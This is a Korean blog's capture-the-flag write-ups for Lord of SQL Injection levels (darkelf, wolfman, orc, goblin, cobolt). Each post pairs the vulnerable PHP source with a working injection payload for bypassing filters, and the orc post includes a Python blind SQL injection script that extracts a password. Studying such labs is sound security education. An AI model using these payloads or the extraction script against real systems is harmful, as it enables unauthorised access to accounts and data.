  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

or 대신 || 기호를 사용했다.

이 문제에선 쓰이지 않지만 참고로 and 대신엔 && 기호 사용 가능하다.

단, url에선 &가 예약문자이므로 URL 인코딩한 %26을 입력해야 한다.

답: ?pw='||id='admin

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

troll  (0) 2022.12.22
orge  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); //prob(또는 PROB), _, .,() 필터링
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); //스페이스바(공백) 필터링
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

preg_match 첫 번째 인자 끝의 i는 대소문자 모두 포함이라는 의미다. 

이 문제는 띄어쓰기를 우회해야한다.

답: ?pw='or%09id='admin

%09 대신 %0d, %0a, /**/ 모두 가능하다. 

?pw='or(id)='admin 도 가능하다.

괄호가 구분해주는 역할을 한다.

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

orge  (0) 2022.12.22
darkelf  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");  //pw를 get으로 입력받고 있음. 'prob', '_', '.' '()'를 대소문자 구분없이 필터링.
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; //쿼리 실행 결과 id가 존재하면 Hello admin 출력. 즉 Hello admin으로 쿼리의 참 거짓을 알 수 있음. 따라서 Blind SQL Injection 사용.
   
  $_GET[pw] = addslashes($_GET[pw]); //이 함수를 쓰면  single quote('), double quote("), 백슬래쉬(\), NULL 문자가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가하여 이스케이핑 처리함. SQL Injection이 어려워짐.
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); //addslashes 적용한 pw와 쿼리 실행 결과 pw가 같다면 통과
  highlight_file(__FILE__); 
?>

addslashes 함수는 ',",\,nul byte 앞에 \를 붙여 이스케이프 처리한다.

이스케이프 처리 되면 기존의 기능을 잃고 문자 그 자체의 기능을 한다.

addslashes 사용 전에 비밀번호를 알아내야 한다.

id가 존재하면 Hello admin을 출력한다는 사실을 기반으로 Blind SQL Injection을 수행한다.

import requests

url='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len
        else:
            pw_len+=1

#095a9852
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break

find_pw()

답: ?pw=095a9852

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
goblin  (2) 2022.12.21
cobolt  (0) 2022.12.21
gremlin  (0) 2022.12.20
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin"); //쿼리 실행 결과 id가 admin이어야함.
  highlight_file(__FILE__); 
?>

',",`가 필터링된다.

MySQL에선 ' 없이 문자를 16진수와 char 함수로 표현가능하다.

char 함수는 아스키코드 문자를 반환한다.

답: ?no=123 or id=0x61646d696e

123은 임의의 값이다. DB에 없을 것이다.

0x61646d696e 는 admin의 hex값이다. 0x61: 'a', 0x64: 'd'...

char(97,100,109,105,110)으로 대체가능. char(97): 'a', char(100): 'd'...

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
cobolt  (0) 2022.12.21
gremlin  (0) 2022.12.20
728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt"); //쿼리 실행결과 id가 admin이어야함.
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

id, pw에서 prob, _, ., ()가 필터링된다.

답: ?id=admin' or '

위의 입력값을 대입하면 id='admin' or '' and pw=md5('')가 되어 admin이 조회된다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

darkelf  (0) 2022.12.22
wolfman  (0) 2022.12.22
orc  (2) 2022.12.21
goblin  (2) 2022.12.21
gremlin  (0) 2022.12.20

+ Recent posts